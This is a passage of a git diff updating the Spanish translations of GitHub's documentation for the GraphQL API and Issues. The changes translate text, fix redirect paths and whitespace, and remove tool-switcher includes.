-For more details about the new queries, mutations, and schema defined types available for use with the Enterprise Accounts API, see the sidebar with detailed GraphQL definitions from any [GraphQL reference page](/graphql).
+Para obtener más detalles acerca de las nuevas consultas, mutaciones y tipos definidos por modelos disponibles para utilizarse con la API de Cuentas Empresariales, observa la barra lateral con las definiciones detalladas de GraphQL desde cualquier [página de referencia de GraphQL](/graphql).
 
-You can access the reference docs from within the GraphQL explorer on GitHub. For more information, see "[Using the explorer](/graphql/guides/using-the-explorer#accessing-the-sidebar-docs)."
-For other information, such as authentication and rate limit details, check out the [guides](/graphql/guides).
+Puedes acceder a los documentos de referencia desde dentro del explorador de GraphQL en GitHub. Para obtener más información, consulta la sección "[Utilizar el explorador](/graphql/guides/using-the-explorer#accessing-the-sidebar-docs)". Para obtener otro tipo de información, tal como los detalles de autenticación y el límite de tasas, revisa las [guías](/graphql/guides).
diff --git a/translations/es-ES/content/graphql/guides/migrating-graphql-global-node-ids.md b/translations/es-ES/content/graphql/guides/migrating-graphql-global-node-ids.md
index 7f22a366ab..25a2dba392 100644
--- a/translations/es-ES/content/graphql/guides/migrating-graphql-global-node-ids.md
+++ b/translations/es-ES/content/graphql/guides/migrating-graphql-global-node-ids.md
@@ -1,6 +1,6 @@
 ---
 title: Migrating GraphQL global node IDs
-intro: 'Learn about the two global node ID formats and how to migrate from the legacy format to the new format.'
+intro: Learn about the two global node ID formats and how to migrate from the legacy format to the new format.
 versions:
   fpt: '*'
   ghec: '*'
@@ -11,7 +11,7 @@ shortTitle: Migrating global node IDs
 
 ## Background
 
-The {% data variables.product.product_name %} GraphQL API currently supports two types of global node ID formats. The legacy format will be deprecated and replaced with a new format.  This guide shows you how to migrate to the new format, if necessary. 
+The {% data variables.product.product_name %} GraphQL API currently supports two types of global node ID formats. The legacy format will be deprecated and replaced with a new format.  This guide shows you how to migrate to the new format, if necessary.
 
 By migrating to the new format, you ensure that the response times of your requests remain consistent and small. You also ensure that your application continues to work once the legacy IDs are fully deprecated.
 
@@ -26,7 +26,7 @@ Additionally, if you currently decode the legacy IDs to extract type information
 
 ## Migrating to the new global IDs
 
-To facilitate migration to the new ID format, you can use the `X-Github-Next-Global-ID` header in your GraphQL API requests. The value of the `X-Github-Next-Global-ID` header can be `1` or `0`.  Setting the value to `1` will force the response payload to always use the new ID format for any object that you requested the `id` field for.  Setting the value to `0` will revert to default behavior, which is to show the legacy ID or new ID depending on the object creation date. 
+To facilitate migration to the new ID format, you can use the `X-Github-Next-Global-ID` header in your GraphQL API requests. The value of the `X-Github-Next-Global-ID` header can be `1` or `0`.  Setting the value to `1` will force the response payload to always use the new ID format for any object that you requested the `id` field for.  Setting the value to `0` will revert to default behavior, which is to show the legacy ID or new ID depending on the object creation date.
 
 Here is an example request using cURL:
 
@@ -42,8 +42,7 @@ Even though the legacy ID `MDQ6VXNlcjM0MDczMDM=` was used in the query, the resp
 ```
 {"data":{"node":{"id":"U_kgDOADP9xw"}}}
 ```
-With the `X-Github-Next-Global-ID` header, you can find the new ID format for legacy IDs that you reference in your application. You can then update those references with the ID received in the response. You should update all references to legacy IDs and use the new ID format for any subsequent requests to the API. 
-To perform bulk operations, you can use aliases to submit multiple node queries in one API call. For more information, see "[the GraphQL docs](https://graphql.org/learn/queries/#aliases)."
+With the `X-Github-Next-Global-ID` header, you can find the new ID format for legacy IDs that you reference in your application. You can then update those references with the ID received in the response. You should update all references to legacy IDs and use the new ID format for any subsequent requests to the API. To perform bulk operations, you can use aliases to submit multiple node queries in one API call. Para obtener más información, consulta "[Los documentos de GraphQL](https://graphql.org/learn/queries/#aliases)".
 
 You can also get the new ID for a collection of items. For example, if you wanted to get the new ID for the last 10 repositories in your organization, you could use a query like this:
 ```
@@ -64,6 +63,6 @@ You can also get the new ID for a collection of items. For example, if you wante
 
 Note that setting `X-Github-Next-Global-ID` to `1` will affect the return value of every `id` field in your query.  This means that even when you submit a non-`node` query, you will get back the new format ID if you requested the `id` field.
 
-## Sharing feedback
+## Compartir retroalimentación
 
 If you have any concerns about the rollout of this change impacting your app, please [contact {% data variables.product.product_name %}](https://support.github.com/contact) and include information such as your app name so that we can better assist you.
diff --git a/translations/es-ES/content/graphql/index.md b/translations/es-ES/content/graphql/index.md
index 61e400a8c7..d46795be1b 100644
--- a/translations/es-ES/content/graphql/index.md
+++ b/translations/es-ES/content/graphql/index.md
@@ -1,23 +1,23 @@
 ---
-title: GitHub GraphQL API
-intro: 'To create integrations, retrieve data, and automate your workflows, use the {% data variables.product.prodname_dotcom %} GraphQL API. The {% data variables.product.prodname_dotcom %} GraphQL API offers more precise and flexible queries than the {% data variables.product.prodname_dotcom %} REST API.'
-shortTitle: GraphQL API
+title: API de GraphQL de GitHub
+intro: 'Para crear integraciones, recuperar datos y automatizar tus flujos de trabajo, utiliza la API de GraphQL de {% data variables.product.prodname_dotcom %}. La API de GraphQL de {% data variables.product.prodname_dotcom %} ofrece consultas más precisas y flexibles que la API de REST de {% data variables.product.prodname_dotcom %}.'
+shortTitle: API de GraphQL
 introLinks:
   overview: /graphql/overview/about-the-graphql-api
 featuredLinks:
   guides:
-  - /graphql/guides/forming-calls-with-graphql
-  - /graphql/guides/introduction-to-graphql
-  - /graphql/guides/using-the-explorer
+    - /graphql/guides/forming-calls-with-graphql
+    - /graphql/guides/introduction-to-graphql
+    - /graphql/guides/using-the-explorer
   popular:
-  - /graphql/overview/explorer
-  - /graphql/overview/public-schema
-  - /graphql/overview/schema-previews
-  - /graphql/guides/using-the-graphql-api-for-discussions
+    - /graphql/overview/explorer
+    - /graphql/overview/public-schema
+    - /graphql/overview/schema-previews
+    - /graphql/guides/using-the-graphql-api-for-discussions
   guideCards:
-  - /graphql/guides/migrating-from-rest-to-graphql
-  - /graphql/guides/managing-enterprise-accounts
-  - /graphql/guides/using-global-node-ids
+    - /graphql/guides/migrating-from-rest-to-graphql
+    - /graphql/guides/managing-enterprise-accounts
+    - /graphql/guides/using-global-node-ids
 changelog:
   label: 'api, apis'
 layout: product-landing
diff --git a/translations/es-ES/content/graphql/reference/mutations.md b/translations/es-ES/content/graphql/reference/mutations.md
index 1ac24f8638..e47bca3884 100644
--- a/translations/es-ES/content/graphql/reference/mutations.md
+++ b/translations/es-ES/content/graphql/reference/mutations.md
@@ -18,6 +18,5 @@ Cada modelo de GraphQL tiene un tipo de raíz tanto para consultas como para mut
 
 Para obtener más información, consulta la sección "[Acerca de las mutaciones](/graphql/guides/forming-calls-with-graphql#about-mutations)".
 
-{% for item in graphql.schemaForCurrentVersion.mutations %}
-  {% include graphql-mutation %}
-{% endfor %}
+<!-- this page is pre-rendered by scripts because it's too big to load dynamically -->
+<!-- see lib/graphql/static/prerendered-mutations.json -->
diff --git a/translations/es-ES/content/issues/guides.md b/translations/es-ES/content/issues/guides.md
index 1653a48f87..f02fa01843 100644
--- a/translations/es-ES/content/issues/guides.md
+++ b/translations/es-ES/content/issues/guides.md
@@ -1,7 +1,7 @@
 ---
 title: Issues guides
-shortTitle: Guides
-intro: 'Learn how you can use {% data variables.product.prodname_github_issues %} to plan and track your work.'
+shortTitle: Guías
+intro: 'Aprende cómo puedes utilizar las {% data variables.product.prodname_github_issues %} para planear y rastrear tu trabajo.'
 allowTitleToDifferFromFilename: true
 layout: product-guides
 versions:
@@ -25,3 +25,4 @@ includeGuides:
   - /issues/using-labels-and-milestones-to-track-work/managing-labels
   - /issues/using-labels-and-milestones-to-track-work/creating-and-editing-milestones-for-issues-and-pull-requests
 ---
+
diff --git a/translations/es-ES/content/issues/index.md b/translations/es-ES/content/issues/index.md
index 25c044c9d6..c3008ad40f 100644
--- a/translations/es-ES/content/issues/index.md
+++ b/translations/es-ES/content/issues/index.md
@@ -44,9 +44,9 @@ redirect_from:
   - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests
   - /github/managing-your-work-on-github/managing-your-work-with-issues
   - /github/managing-your-work-on-github
-  - /categories/100/articles/
-  - /categories/managing-projects/
-  - /categories/managing-projects-on-github/
+  - /categories/100/articles
+  - /categories/managing-projects
+  - /categories/managing-projects-on-github
   - /categories/managing-your-work-on-github
   - /about-issues
   - /creating-an-issue
diff --git a/translations/es-ES/content/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards.md b/translations/es-ES/content/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards.md
index 358a5f26f8..a94191772b 100644
--- a/translations/es-ES/content/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards.md
+++ b/translations/es-ES/content/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards.md
@@ -3,7 +3,7 @@ title: Acerca de los tableros de proyecto
 intro: 'Los tableros de proyecto en {% data variables.product.product_name %} te ayudan a organizar y priorizar tu trabajo. Puedes crear tableros de proyecto para un trabajo con características específicas, hojas de ruta completas y hasta listas de verificación de lanzamientos. Con los tableros de proyecto, tienes la flexibilidad de crear flujos de trabajo personalizados que se adapten a tus necesidades.'
 redirect_from:
   - /github/managing-your-work-on-github/managing-project-boards/about-project-boards
-  - /articles/about-projects/
+  - /articles/about-projects
   - /articles/about-project-boards
   - /github/managing-your-work-on-github/about-project-boards
 versions:
diff --git a/translations/es-ES/content/issues/organizing-your-work-with-project-boards/managing-project-boards/closing-a-project-board.md b/translations/es-ES/content/issues/organizing-your-work-with-project-boards/managing-project-boards/closing-a-project-board.md
index 3426870660..713053465e 100644
--- a/translations/es-ES/content/issues/organizing-your-work-with-project-boards/managing-project-boards/closing-a-project-board.md
+++ b/translations/es-ES/content/issues/organizing-your-work-with-project-boards/managing-project-boards/closing-a-project-board.md
@@ -3,7 +3,7 @@ title: Cerrar un tablero de proyecto
 intro: 'Si has completado todas las tareas de tu tablero de proyecto o ya no necesitas usar un tablero de proyecto, puedes cerrarlo.'
 redirect_from:
   - /github/managing-your-work-on-github/managing-project-boards/closing-a-project-board
-  - /articles/closing-a-project/
+  - /articles/closing-a-project
   - /articles/closing-a-project-board
   - /github/managing-your-work-on-github/closing-a-project-board
 versions:
diff --git a/translations/es-ES/content/issues/organizing-your-work-with-project-boards/managing-project-boards/creating-a-project-board.md b/translations/es-ES/content/issues/organizing-your-work-with-project-boards/managing-project-boards/creating-a-project-board.md
index 5d522d186f..12f912c1be 100644
--- a/translations/es-ES/content/issues/organizing-your-work-with-project-boards/managing-project-boards/creating-a-project-board.md
+++ b/translations/es-ES/content/issues/organizing-your-work-with-project-boards/managing-project-boards/creating-a-project-board.md
@@ -3,7 +3,7 @@ title: Crear un tablero de proyecto
 intro: 'Los tableros de proyecto se pueden usar para crear flujos de trabajo personalizados de acuerdo con tus necesidades, como hacer un seguimiento y priorizar trabajos con características específicas, hojas de ruta completas y hasta listas de verificación de lanzamientos.'
 redirect_from:
   - /github/managing-your-work-on-github/managing-project-boards/creating-a-project-board
-  - /articles/creating-a-project/
+  - /articles/creating-a-project
   - /articles/creating-a-project-board
   - /github/managing-your-work-on-github/creating-a-project-board
 versions:
diff --git a/translations/es-ES/content/issues/organizing-your-work-with-project-boards/managing-project-boards/deleting-a-project-board.md b/translations/es-ES/content/issues/organizing-your-work-with-project-boards/managing-project-boards/deleting-a-project-board.md
index 64ce70f218..d933414669 100644
--- a/translations/es-ES/content/issues/organizing-your-work-with-project-boards/managing-project-boards/deleting-a-project-board.md
+++ b/translations/es-ES/content/issues/organizing-your-work-with-project-boards/managing-project-boards/deleting-a-project-board.md
@@ -3,7 +3,7 @@ title: Eliminar un tablero de proyecto
 intro: Puedes eliminar un tablero de proyecto existente si ya no necesitas acceder a su contenido.
 redirect_from:
   - /github/managing-your-work-on-github/managing-project-boards/deleting-a-project-board
-  - /articles/deleting-a-project/
+  - /articles/deleting-a-project
   - /articles/deleting-a-project-board
   - /github/managing-your-work-on-github/deleting-a-project-board
 versions:
diff --git a/translations/es-ES/content/issues/organizing-your-work-with-project-boards/managing-project-boards/editing-a-project-board.md b/translations/es-ES/content/issues/organizing-your-work-with-project-boards/managing-project-boards/editing-a-project-board.md
index b2f96b96d8..b49ed06586 100644
--- a/translations/es-ES/content/issues/organizing-your-work-with-project-boards/managing-project-boards/editing-a-project-board.md
+++ b/translations/es-ES/content/issues/organizing-your-work-with-project-boards/managing-project-boards/editing-a-project-board.md
@@ -3,8 +3,8 @@ title: Editar un tablero de proyecto
 intro: Puedes editar el título y la descripción de un tablero de proyecto existente.
 redirect_from:
   - /github/managing-your-work-on-github/managing-project-boards/editing-a-project-board
-  - /articles/editing-a-project/
-  - /articles/editing-and-deleting-a-project/
+  - /articles/editing-a-project
+  - /articles/editing-and-deleting-a-project
   - /articles/editing-a-project-board
   - /github/managing-your-work-on-github/editing-a-project-board
 versions:
diff --git a/translations/es-ES/content/issues/organizing-your-work-with-project-boards/managing-project-boards/reopening-a-closed-project-board.md b/translations/es-ES/content/issues/organizing-your-work-with-project-boards/managing-project-boards/reopening-a-closed-project-board.md
index 463d222fc9..46d1d43e7e 100644
--- a/translations/es-ES/content/issues/organizing-your-work-with-project-boards/managing-project-boards/reopening-a-closed-project-board.md
+++ b/translations/es-ES/content/issues/organizing-your-work-with-project-boards/managing-project-boards/reopening-a-closed-project-board.md
@@ -1,6 +1,6 @@
 ---
 title: Reabrir un tablero de proyecto cerrado
-intro: Puedes reabrir un tablero de proyecto cerrado y reiniciar cualquier automatización de flujo de trabajo que se haya configurado para el tablero de proyecto.
+intro: Puedes volver a abrir un tablero de proyecto cerrado y reiniciar cualquier automatización de flujo de trabajo que se haya configurado para el tablero de proyecto.
 redirect_from:
   - /github/managing-your-work-on-github/managing-project-boards/reopening-a-closed-project-board
   - /articles/reopening-a-closed-project-board
diff --git a/translations/es-ES/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-issues-and-pull-requests-to-a-project-board.md b/translations/es-ES/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-issues-and-pull-requests-to-a-project-board.md
index 899b25ed84..8f077d0eec 100644
--- a/translations/es-ES/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-issues-and-pull-requests-to-a-project-board.md
+++ b/translations/es-ES/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-issues-and-pull-requests-to-a-project-board.md
@@ -3,7 +3,7 @@ title: Agregar propuestas y solicitudes de extracción a un tablero de proyecto
 intro: Puedes agregar propuestas y solicitudes de extracción a un tablero de proyecto en la forma de tarjetas y jerarquizarlas en columnas.
 redirect_from:
   - /github/managing-your-work-on-github/tracking-the-progress-of-your-work-with-project-boards/adding-issues-and-pull-requests-to-a-project-board
-  - /articles/adding-issues-and-pull-requests-to-a-project/
+  - /articles/adding-issues-and-pull-requests-to-a-project
   - /articles/adding-issues-and-pull-requests-to-a-project-board
   - /github/managing-your-work-on-github/adding-issues-and-pull-requests-to-a-project-board
 versions:
diff --git a/translations/es-ES/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-notes-to-a-project-board.md b/translations/es-ES/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-notes-to-a-project-board.md
index 8644af505e..f3091fc786 100644
--- a/translations/es-ES/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-notes-to-a-project-board.md
+++ b/translations/es-ES/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-notes-to-a-project-board.md
@@ -3,7 +3,7 @@ title: Agregar notas a tu tablero de proyecto
 intro: Puedes agregar notas a tu tablero de proyecto para que funcionen como recordatorios de tareas o para agregar información relacionada con el tablero de proyecto.
 redirect_from:
   - /github/managing-your-work-on-github/tracking-the-progress-of-your-work-with-project-boards/adding-notes-to-a-project-board
-  - /articles/adding-notes-to-a-project/
+  - /articles/adding-notes-to-a-project
   - /articles/adding-notes-to-a-project-board
   - /github/managing-your-work-on-github/adding-notes-to-a-project-board
 versions:
diff --git a/translations/es-ES/content/issues/tracking-your-work-with-issues/about-issues.md b/translations/es-ES/content/issues/tracking-your-work-with-issues/about-issues.md
index c2fdc6aa2a..58a299ff19 100644
--- a/translations/es-ES/content/issues/tracking-your-work-with-issues/about-issues.md
+++ b/translations/es-ES/content/issues/tracking-your-work-with-issues/about-issues.md
@@ -3,8 +3,8 @@ title: Acerca de las propuestas
 intro: 'Utiliza {% data variables.product.prodname_github_issues %} para rastrear ideas, retroalimentación, tareas o errores para trabajar en {% data variables.product.company_short %}.'
 redirect_from:
   - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/about-issues
-  - /articles/creating-issues/
-  - /articles/about-issues/
+  - /articles/creating-issues
+  - /articles/about-issues
   - /github/managing-your-work-on-github/about-issues
   - /issues/tracking-your-work-with-issues/creating-issues/about-issues
 versions:
diff --git a/translations/es-ES/content/issues/tracking-your-work-with-issues/creating-an-issue.md b/translations/es-ES/content/issues/tracking-your-work-with-issues/creating-an-issue.md
index cb346ba181..d4ad5f88ae 100644
--- a/translations/es-ES/content/issues/tracking-your-work-with-issues/creating-an-issue.md
+++ b/translations/es-ES/content/issues/tracking-your-work-with-issues/creating-an-issue.md
@@ -91,7 +91,7 @@ You can open a new issue from a specific line or lines of code in a file or pull
 {% data reusables.repositories.navigate-to-repo %}
 1. Locate the code you want to reference in an issue:
     - To open an issue about code in a file, navigate to the file.
-    - To open an issue about code in a pull request, navigate to the pull request and click {% octicon "diff" aria-label="The file diff icon" %} **Files changed**. Then, browse to the file that contains the code you want include in your comment, and click **View**.
+    - To open an issue about code in a pull request, navigate to the pull request and click {% octicon "diff" aria-label="The file diff icon" %} **Files changed**. Then, browse to the file that contains the code you want included in your comment, and click **View**.
 {% data reusables.repositories.choose-line-or-range %}
 4. To the left of the code range, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab octicon" %}. In the drop-down menu, click **Reference in new issue**.
   ![Kebab menu with option to open a new issue from a selected line](/assets/images/help/repository/open-new-issue-specific-line.png)
diff --git a/translations/es-ES/content/issues/tracking-your-work-with-issues/deleting-an-issue.md b/translations/es-ES/content/issues/tracking-your-work-with-issues/deleting-an-issue.md
index a23f051cf7..a64e10fb57 100644
--- a/translations/es-ES/content/issues/tracking-your-work-with-issues/deleting-an-issue.md
+++ b/translations/es-ES/content/issues/tracking-your-work-with-issues/deleting-an-issue.md
@@ -1,6 +1,6 @@
 ---
-title: Deleting an issue
-intro: People with admin permissions in a repository can permanently delete an issue from a repository.
+title: Eliminar una propuesta
+intro: Los usuarios con permisos de administración en un repositorio determinado pueden eliminar una propuesta de manera permanente de ese repositorio.
 redirect_from:
   - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/deleting-an-issue
   - /articles/deleting-an-issue
@@ -14,17 +14,17 @@ versions:
 topics:
   - Pull requests
 ---
-You can only delete issues in a repository owned by your user account. You cannot delete issues in a repository owned by another user account, even if you are a collaborator there.
 
-To delete an issue in a repository owned by an organization, an organization owner must enable deleting an issue for the organization's repositories, and you must have admin or owner permissions in the repository. For more information, see "[Allowing people to delete issues in your organization](/articles/allowing-people-to-delete-issues-in-your-organization)" and "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)."
+Solo puedes eliminar una propuesta en un repositorio que sea propiedad de tu cuenta de usuario. No puedes eliminar una propuesta en un repositorio que sea propiedad de otra cuenta de usuario, aun si eres una colaborador de esa cuenta.
 
-Collaborators do not receive a notification when you delete an issue. When visiting the URL of a deleted issue, collaborators will see a message stating that the issue is deleted. People with admin or owner permissions in the repository will additionally see the username of the person who deleted the issue and when it was deleted.
+Para eliminar una propuesta en un repositorio que sea propiedad de una organización, un propietario de la organización debe habilitar la eliminación de una propuesta para los repositorios de la organización, y tú debes tener permisos de propietario o de administración en ese repositorio. Para obtener más información, consulta la sección "[Permitir que se eliminen propuestas en tu organización](/articles/allowing-people-to-delete-issues-in-your-organization)" y "[Roles de repositorio para una organización](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)".
 
-1. Navigate to the issue you want to delete.
-2. On the right side bar, under "Notifications", click **Delete issue**.
-!["Delete issue" text highlighted on bottom of the issue page's right side bar](/assets/images/help/issues/delete-issue.png)
-4. To confirm deletion, click **Delete this issue**.
+Los colaboradores no reciben una notificación cuando eliminas una propuesta. Cuando visiten la URL de una propuesta que ha sido eliminada, los colaboradores verán un mensaje que dice que la propuesta se ha eliminado. Los usuarios con permisos de propietario o de administración en el repositorio verán también el nombre de usuario de la persona que eliminó la propuesta y la fecha en que se la eliminó.
 
-## Further reading
+1. Dirígete a la propuesta que deseas eliminar.
+2. En la barra lateral derecha, debajo de "Notificaciones", da clic en **Borrar informe de problemas**. ![Texto de "Borrar informe de problemas" resaltado al final de la barra lateral derecha de la página del informe de problemas](/assets/images/help/issues/delete-issue.png)
+4. Para confirmar la eliminación, haz clic en **Eliminar esta propuesta**.
 
-- "[Linking a pull request to an issue](/github/managing-your-work-on-github/linking-a-pull-request-to-an-issue)"
+## Leer más
+
+- "[Enlazar una solicitud de extracción a un informe de problemas](/github/managing-your-work-on-github/linking-a-pull-request-to-an-issue)"
diff --git a/translations/es-ES/content/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests.md b/translations/es-ES/content/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests.md
index 6f847a5927..81f89fc1f3 100644
--- a/translations/es-ES/content/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests.md
+++ b/translations/es-ES/content/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests.md
@@ -47,7 +47,7 @@ type: how_to
 
 {% data reusables.cli.filter-issues-and-pull-requests-tip %}
 
-## Filtering issues and pull requests 
+## Filtering issues and pull requests
 
 Issues and pull requests come with a set of default filters you can apply to organize your listings.
 
@@ -124,8 +124,6 @@ You can use advanced filters to search for issues and pull requests that meet sp
 
 ### Searching for issues and pull requests
 
-{% include tool-switcher %}
-
 {% webui %}
 
 The issues and pull requests search bar allows you to define your own custom filters and sort by a wide variety of criteria. You can find the search bar on each repository's **Issues** and **Pull requests** tabs and on your [Issues and Pull requests dashboards](/articles/viewing-all-of-your-issues-and-pull-requests).
@@ -174,7 +172,7 @@ With issue and pull request search terms, you can:
 {% tip %}
 
 **Tip:** You can filter issues and pull requests by label using logical OR or using logical AND.
-- To filter issues using logical OR, use the comma syntax: `label:"bug","wip"`. 
+- To filter issues using logical OR, use the comma syntax: `label:"bug","wip"`.
 - To filter issues using logical AND, use separate label filters: `label:"bug" label:"wip"`.
 
 {% endtip %}
@@ -234,4 +232,4 @@ For example, if you filter on issues assigned to Hubot, and sort on the oldest o
 
 ## Further reading
 
-- "[Searching issues and pull requests](/articles/searching-issues)""
+- "[Searching issues and pull requests](/articles/searching-issues)"
diff --git a/translations/es-ES/content/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue.md b/translations/es-ES/content/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue.md
index 739677adb9..8eca5faf19 100644
--- a/translations/es-ES/content/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue.md
+++ b/translations/es-ES/content/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue.md
@@ -3,8 +3,8 @@ title: Linking a pull request to an issue
 intro: You can link a pull request to an issue to show that a fix is in progress and to automatically close the issue when the pull request is merged.
 redirect_from:
   - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/linking-a-pull-request-to-an-issue
-  - /articles/closing-issues-via-commit-message/
-  - /articles/closing-issues-via-commit-messages/
+  - /articles/closing-issues-via-commit-message
+  - /articles/closing-issues-via-commit-messages
   - /articles/closing-issues-using-keywords
   - /github/managing-your-work-on-github/closing-issues-using-keywords
   - /github/managing-your-work-on-github/linking-a-pull-request-to-an-issue
diff --git a/translations/es-ES/content/issues/tracking-your-work-with-issues/planning-and-tracking-work-for-your-team-or-project.md b/translations/es-ES/content/issues/tracking-your-work-with-issues/planning-and-tracking-work-for-your-team-or-project.md
index 9295f49206..e2425ba7a7 100644
--- a/translations/es-ES/content/issues/tracking-your-work-with-issues/planning-and-tracking-work-for-your-team-or-project.md
+++ b/translations/es-ES/content/issues/tracking-your-work-with-issues/planning-and-tracking-work-for-your-team-or-project.md
@@ -93,13 +93,13 @@ A continuación se encuentra un ejemplo de una etiqueta de `front-end` que cream
 ## Agregar propuestas a un tablero de proyecto
 {% ifversion fpt or ghec %}Puedes utilizar proyectos en {% data variables.product.prodname_dotcom %}, actualmente en el beta público limitado, para planear y rastrear el trabajo de tu equipo. Un proyecto es una hoja de cálculo personalizada que se integra con tus propuestas y solicitudes de cambvios en {% data variables.product.prodname_dotcom %} y que se actualiza automáticamente con la información de {% data variables.product.prodname_dotcom %}. Puedes personalziar el diseño si filtras, clasificas y agrupas tus propuestas y solicitudes de cambios. Para inciar con los proyectos, consulta la [Guía de inicio rápido para los proyectos (beta)](/issues/trying-out-the-new-projects-experience/quickstart)".
 ### Ejemplo de proyecto (beta)
-Here is the table layout of an example project, populated with the Project Octocat issues we have created.
+Aquí tienes el diseño de tabla de un proyecto ejemplo, la cual se llenó con propuestas del proyecto Octocat que hemos creado.
 
-![Projects (beta) table layout example](/assets/images/help/issues/quickstart-projects-table-view.png)
+![Ejemplo de diseño de tabla de proyectos (beta)](/assets/images/help/issues/quickstart-projects-table-view.png)
 
 También podemos ver el mismo proyecto como un tablero.
 
-![Projects (beta) board layout example](/assets/images/help/issues/quickstart-projects-board-view.png)
+![Ejemplo de diseño de tablero de proyectos (beta)](/assets/images/help/issues/quickstart-projects-board-view.png)
 
 {% endif %}
 
diff --git a/translations/es-ES/content/issues/tracking-your-work-with-issues/transferring-an-issue-to-another-repository.md b/translations/es-ES/content/issues/tracking-your-work-with-issues/transferring-an-issue-to-another-repository.md
index ad7784c38b..12d9ca3456 100644
--- a/translations/es-ES/content/issues/tracking-your-work-with-issues/transferring-an-issue-to-another-repository.md
+++ b/translations/es-ES/content/issues/tracking-your-work-with-issues/transferring-an-issue-to-another-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Transferring an issue to another repository
-intro: 'To move an issue to a better fitting repository, you can transfer open issues to other repositories.'
+title: Transferir una propuesta a otro repositorio
+intro: 'Para mover una propuesta a un repositorio al que mejor se ajuste, puedes transferir propuestas abiertas a otros repositorios.'
 redirect_from:
   - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/transferring-an-issue-to-another-repository
   - /articles/transferring-an-issue-to-another-repository
@@ -13,31 +13,27 @@ versions:
   ghec: '*'
 topics:
   - Pull requests
-shortTitle: Transfer an issue
+shortTitle: Transferir una propuesta
 ---
-To transfer an open issue to another repository, you must have write access to the repository the issue is in and the repository you're transferring the issue to. For more information, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)."
 
-You can only transfer issues between repositories owned by the same user or organization account. {% ifversion fpt or ghes or ghec %}You can't transfer an issue from a private repository to a public repository.{% endif %}
+Para transferir una propuesta abierta a otro repositorio, debes tener acceso de escritura en el repositorio en el cual se encuentra la propuesta y en el que la recibirá cuando la transfieras. Para obtener más información, consulta la sección "[Roles de repositorio para una organización](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)".
 
-When you transfer an issue, comments and assignees are retained. The issue's labels and milestones are not retained. This issue will stay on any user-owned or organization-wide project boards and be removed from any repository project boards. For more information, see "[About project boards](/articles/about-project-boards)."
+Solo puedes transferir propuestas entre repositorios que son propiedad del mismo usuario o de la misma cuenta de la organización. {% ifversion fpt or ghes or ghec %}No puedes transferir una propuesta desde un repositorio privado hacia un repositorio público.{% endif %}
 
-People or teams who are mentioned in the issue will receive a notification letting them know that the issue has been transferred to a new repository. The original URL redirects to the new issue's URL. People who don't have read permissions in the new repository will see a banner letting them know that the issue has been transferred to a new repository that they can't access.
+Cuando transfieres un informe de problemas, se retendrá tanto los comentarios como las personas asignadas. No se retendrán los hitos y etiquetas de la propuesta. Esta propuesta se mantendrá en cualquier tablero de proyecto que pertenezca al usuario o que se encuentre en la organización y se eliminará de cualquier tablero de proyecto de los repositorios. Para obtener más información, consulta "[Acerca de los tableros de proyectos](/articles/about-project-boards)."
 
-## Transferring an open issue to another repository
+Las personas o equipos que se mencionan en la propuesta recibirán una notificación que les haga saber que la propuesta se transfirió a un repositorio nuevo. La URL original se redirige a la URL nueva de la propuesta. Las personas que no tengan permisos de lectura en el repositorio nuevo verán un anuncio que les hará saber que la propuesta se transfirió a un repositorio nuevo al que no pueden acceder.
 
-{% include tool-switcher %}
+## Transferir una propuesta abierta a otro repositorio
 
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-issues %}
-3. In the list of issues, click the issue you'd like to transfer.
-4. In the right sidebar, click **Transfer issue**.
-![Button to transfer issue](/assets/images/help/repository/transfer-issue.png)
-5. Use the **Choose a repository** drop-down menu, and select the repository you want to transfer the issue to.
-![Choose a repository selection](/assets/images/help/repository/choose-a-repository.png)
-6. Click **Transfer issue**.
-![Transfer issue button](/assets/images/help/repository/transfer-issue-button.png)
+3. En la lista de propuestas, haz clic en la propuesta que quieres transferir.
+4. En la barra lateral derecha, haz clic en **Transfer issue** (Transferir propuesta). ![Botón para transferir propuesta](/assets/images/help/repository/transfer-issue.png)
+5. Utiliza el menú desplegable **Choose a repository** (Elegir un repositorio) y selecciona el repositorio al que quieres transferir la propuesta. ![Elige una selección de repositorio](/assets/images/help/repository/choose-a-repository.png)
+6. Haz clic en **Transfer issue** (Transferir propuesta). ![Botón Transfer issue (Transferir propuesta)](/assets/images/help/repository/transfer-issue-button.png)
 
 {% endwebui %}
 
@@ -45,7 +41,7 @@ People or teams who are mentioned in the issue will receive a notification letti
 
 {% data reusables.cli.cli-learn-more %}
 
